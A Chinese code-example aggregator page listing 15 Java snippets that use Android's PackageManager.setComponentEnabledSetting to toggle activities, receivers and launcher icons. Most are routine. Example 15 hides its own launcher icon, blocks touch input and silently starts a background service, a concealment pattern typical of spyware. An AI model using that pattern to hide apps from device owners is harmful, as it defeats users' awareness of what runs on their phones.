本文整理汇总了Java中android.content.pm.PackageManager.setComponentEnabledSetting方法的典型用法代码示例。如果您正苦于以下问题:Java PackageManager.setComponentEnabledSetting方法的具体用法?Java PackageManager.setComponentEnabledSetting怎么用?Java PackageManager.setComponentEnabledSetting使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.content.pm.PackageManager
的用法示例。
在下文中一共展示了PackageManager.setComponentEnabledSetting方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: handleLocalApp
import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void handleLocalApp() {
final ComponentName component = new ComponentName(activity, SendCoinsActivity.class);
final PackageManager pm = activity.getPackageManager();
final Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(determineBitcoinRequestStr(false)));
try {
// launch intent chooser with ourselves excluded
pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
startActivity(intent);
} catch (final ActivityNotFoundException x) {
new Toast(activity).longToast(R.string.request_coins_no_local_app_msg);
} finally {
pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
}
activity.finish();
}
示例2: onPreferenceChange
import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public boolean onPreferenceChange(Preference preference, Object newValue) {
try {
ComponentName targetActivity = new ComponentName(packageName, ActivityName);
PackageManager p = getPackageManager();
if ((boolean) newValue) {
p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
} else {
p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
}
}catch (Exception e){
Toast.makeText(SettingsActivity.this,R.string.msg_disable_error,Toast.LENGTH_SHORT).show();
return false;
}
return true;
}
示例3: changeDefaultActivityToSignIn
import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void changeDefaultActivityToSignIn(Context context, boolean isSign) {
ComponentName signActivity = new ComponentName(context, SignInActivity.class);
ComponentName homeActivity = new ComponentName(context, HomeActivity.class);
PackageManager packageManager = context.getPackageManager();
if (isSign) {
packageManager.setComponentEnabledSetting(signActivity,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
packageManager.setComponentEnabledSetting(homeActivity,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
} else {
packageManager.setComponentEnabledSetting(signActivity,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
packageManager.setComponentEnabledSetting(homeActivity,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
}
}
示例4: setComponentEnabled
import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
* 切换桌面图标
*
* @param componentDisabledName
* @param componentEnabledName
*/
private void setComponentEnabled(ComponentName componentDisabledName
, ComponentName componentEnabledName) {
PackageManager pm = getPackageManager();
pm.setComponentEnabledSetting(componentDisabledName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
pm.setComponentEnabledSetting(componentEnabledName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
snackBarShow(mCoordinatorLayout, getString(R.string.launcher_icon_had_change));
// Find launcher and kill it (restart launcher)
// MIUI8 Android6.0.6:android.content.pm.PackageManager$NameNotFoundException
// ActivityManager am = (ActivityManager) getSystemService(Activity.ACTIVITY_SERVICE);
// Intent i = new Intent(Intent.ACTION_MAIN);
// i.addCategory(Intent.CATEGORY_HOME);
// i.addCategory(Intent.CATEGORY_DEFAULT);
// List<ResolveInfo> resolves = pm.queryIntentActivities(i, 0);
// for (ResolveInfo res : resolves) {
// if (res.activityInfo != null) {
// am.killBackgroundProcesses(res.activityInfo.packageName);
// }
// }
}
示例5: enableComponent
import android.content.pm.PackageManager; //导入方法依赖的package包/类
/**
* Enables component for provided class.
*
* @param context Current Context.
* @param packageManager Current PackageManager.
* @param clazz Class for enable.
* @return True if component was enabled.
*/
public static boolean enableComponent(Context context, PackageManager packageManager,
Class clazz) {
if (clazz == null || context == null || packageManager == null) {
return false;
}
try {
packageManager.setComponentEnabledSetting(new ComponentName(context, clazz),
PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
} catch (Throwable t) {
Log.w("Could not enable component " + clazz.getName());
return false;
}
return true;
}
示例6: hideLauncherIcon
import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void hideLauncherIcon() {
PackageManager p = getPackageManager();
ComponentName componentName = new ComponentName(this, MainActivity.class);
p.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
示例7: setAlarm
import android.content.pm.PackageManager; //导入方法依赖的package包/类
public void setAlarm(Context context, Task task) {
boolean isActive = !task.isDone() &&
task.getAlarmAdvanceTime() != 0 &&
new Date(task.getDate().getTime() + task.getAlarmAdvanceTime()).after(new Date());
if (isActive) {
AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, AlarmReceiver.class);
intent.putExtra(TITLE, task.getTitle());
intent.putExtra(ID, task.getId().intValue());
intent.putExtra(ALARM_ADVANCE_TIME, task.getAlarmAdvanceTime());
intent.putExtra(DATE, task.getDate().getTime());
intent.putExtra(PRIORITY, task.getPriorityLevel());
Log.d(this.getClass().getName(), "Init " + task.getAlarmAdvanceTime() + "ms alarm for " + task);
PendingIntent alarmIntent = PendingIntent.getBroadcast(context, task.getId().intValue(), intent, PendingIntent.FLAG_UPDATE_CURRENT);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
} else {
alarmManager.set(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
}
intentMap.put(task.getId().intValue(), alarmIntent);
ComponentName receiver = new ComponentName(context, AlarmReceiver.class);
PackageManager pm = context.getPackageManager();
pm.setComponentEnabledSetting(receiver,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
}
}
示例8: reset
import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public void reset() {
if (isForeground)
stopForegroundDispatch();
else {
PackageManager packageManager = activity.getApplicationContext().getPackageManager();
packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
}
示例9: onCreate
import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_zebpay_unblock);
Toast.makeText(this, "Zebpay unblock xposed module active. Launcher icon will be removed.",
Toast.LENGTH_LONG).show();
PackageManager p = getPackageManager();
p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
// activity which is first time open in manifiest file which is declare as
// <category android:name="android.intent.category.LAUNCHER" />
finish();
}
示例10: pauseMainActivityNfc
import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void pauseMainActivityNfc() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.GINGERBREAD_MR1) {
if (((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name()) != null) {
PackageManager packageManager = getApplicationContext().getPackageManager();
packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
((NfcShield) ((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name())).stopForegroundDispatch();
}
}
}
示例11: setComponentState
import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void setComponentState(PackageManager pm, ComponentName componentName, boolean enable) {
final int oldState = pm.getComponentEnabledSetting(componentName);
final int newState = enable ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
: PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
if (newState != oldState) {
final int flags = PackageManager.DONT_KILL_APP;
pm.setComponentEnabledSetting(componentName, newState, flags);
}
}
示例12: changeDefaultLauncher
import android.content.pm.PackageManager; //导入方法依赖的package包/类
private static void changeDefaultLauncher(Context context){
PackageManager packageManager = context.getPackageManager();
ComponentName componentName = new ComponentName(context, FakeActivity.class);
packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
Intent selector = new Intent(Intent.ACTION_MAIN);
selector.addCategory(Intent.CATEGORY_HOME);
selector.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(selector);
packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT, PackageManager.DONT_KILL_APP);
}
示例13: enableBootReceiver
import android.content.pm.PackageManager; //导入方法依赖的package包/类
private void enableBootReceiver(boolean b) {
ComponentName receiver = new ComponentName(this, BootReceiver.class);
PackageManager pm = this.getPackageManager();
if(b){
pm.setComponentEnabledSetting(receiver,
PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
}
else{
pm.setComponentEnabledSetting(receiver,
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
}
}
示例14: setupStartActivity
import android.content.pm.PackageManager; //导入方法依赖的package包/类
public static void setupStartActivity(Context context) {
PackageManager pm = context.getPackageManager();
if (Utils.hideStartActivity()) {
pm.setComponentEnabledSetting(new ComponentName(context, StartActivity.class),
PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
pm.setComponentEnabledSetting(new ComponentName(context, StartActivityMaterial.class),
PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
} else {
setStartActivity(Prefs.getBoolean("materialicon", false, context), context);
}
}
示例15: onCreate
import android.content.pm.PackageManager; //导入方法依赖的package包/类
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
if(isMyServiceRunning()==false)
{
startService(new Intent(getApplicationContext(), MyService.class));
Log.i("com.connect","startService");
}
}